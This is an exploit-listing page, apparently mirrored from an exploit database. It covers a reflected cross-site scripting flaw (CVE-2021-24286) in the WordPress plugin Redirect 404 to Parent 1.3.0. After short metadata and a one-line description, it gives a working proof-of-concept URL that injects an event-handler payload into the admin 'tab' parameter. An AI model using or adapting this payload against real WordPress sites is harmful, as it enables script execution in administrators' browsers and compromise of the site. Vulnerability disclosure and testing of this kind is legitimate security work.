Exploit for WordPress Redirect 404 To Parent 1.3.0 Cross Site Scripting CVE-2021-24286

Name: Exploit for WordPress Redirect 404 To Parent 1.3.0 Cross Site Scripting CVE-2021-24286
Rating: 5 (144 reviews)

2021-09-29 | CVSS 4.3

## https://sploitus.com/exploit?id=PACKETSTORM:164328
# Exploit Title: WordPress Plugin Redirect 404 to Parent 1.3.0 - Reflected Cross-Site Scripting (XSS)  
# Date: 2/3/2021  
# Author: 0xB9  
# Software Link: https://downloads.wordpress.org/plugin/redirect-404-to-parent.1.3.0.zip  
# Version: 1.3.0  
# Tested on: Windows 10  
# CVE: CVE-2021-24286  
  
1. Description:  
This plugin redirects any 404 request to the parent URL. The tab parameter in the Admin Panel is vulnerable to XSS.  
  
2. Proof of Concept:  
wp-admin/options-general.php?page=moove-redirect-settings&tab="+style=animation-name:rotation+onanimationstart="alert(/XSS/);